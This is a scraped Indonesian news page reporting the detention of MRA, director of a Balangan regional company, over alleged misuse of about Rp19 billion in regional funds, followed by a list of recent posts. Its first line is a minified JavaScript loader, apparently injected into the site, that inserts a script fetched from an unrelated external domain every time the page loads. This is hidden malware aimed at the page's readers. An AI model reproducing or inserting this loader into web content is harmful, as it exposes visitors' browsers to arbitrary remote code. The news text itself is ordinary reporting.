(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Korupsi Rp19 Miliar, Direktur Perseroda di Balangan Ditahan


KANALKALIMANTAN.COM, BANJARMASIN – Kasus korupsi menyeret MRA, Direktur PT Asabaru Daya Cipta Lestari (ADCL) ditangkap oleh tim penyidik Tindak Pidana Khusus Kejaksaan Negeri (Kejati) Kalimantan Selatan (Kalsel).

Penahanan Direktur Perusahan Perseroan Derah (Perseroda) Balangan itu disampaikan Kasi Penkum Kejati Kalsel Yuni Priyono SH MH. MRA secara resmi ditahan pada Senin (11/11/2024).

Dijelaskan Kasi Penkum Kejati Kalsel, MRA diduga melakukan pengeluaran dana operasiona PT ADCL tanpa didukung Rencana Kegiatan Bisnis (RKB) dan Rencana Bisnis Tahunan yang telah disahkan dari Bupati Balangan selaku pemilik saham dan komisaris.

Perbuatan direktur salah satu Perseroda Balangan itu mengakibatkan negara kerugian sebesar Rp19 miliar bersumber dari Anggaran Pendapatan dan Belanja Daerah (APBD) Balangan tahun 2022 dan 2023.

Baca juga: Debat Pilwali Banjarbaru Hambar, Panelis Tanya Calon Tunggal Jawab

“Kerugian keuangan negara (Pemerintah Kabupaten Balangan, red) lebih kurang sebesar Rp19 miliar,” ungkap Priyono.

Lanjut Priyono, tersangka MRA melanggar primair pasal 2 Ayat (1) juncto pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Kemudian subsidair disangkakan melanggar pasal 3 jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Tersangka MRA kini ditahan di Lembaga Pemasyarakatan (Lapas) Kelas IIA Teluk Dalam Banjarmasin untuk sebagai tahanan titipan untuk kepentingan penyidikan selama 20 hari kedepan.

Baca juga: Pemko Banjarbaru-Mitra Kerja Jalin Kerjasama, Ini Kata Pj Sekda Banjarbaru

“Ditahan berdasarkan Surat Perintah Penahanan Kepala Kejaksaan Tinggi Kalimantan Selatan tanggal 11 November 2024,” ujar Priyono.

Tindakan hukum yang dilakukan oleh Tim Penyidik Bidang Tindak Pidana Khusus Kejaksaan Tinggi Kalsel merupakan bukti nyata dalam upaya penegakan hukum pemberantasan tindak pidana korupsi khususnya di Kalsel.

“Karena Korupsi merupkan penyakit sosial yang merusak tatanan masyarakat dan perekonomian negara. Dan menghambat pembangunan yang berkelanjutan, merampas hak asasi manusia, serta menghancurkan kepercayaan masyarakat terhadap pemerintah dan istitusi-institusi publik,” pungkasnya. (Kanalkaliamntan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

5 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

5 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

6 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

6 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

7 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

7 jam ago

This website uses cookies.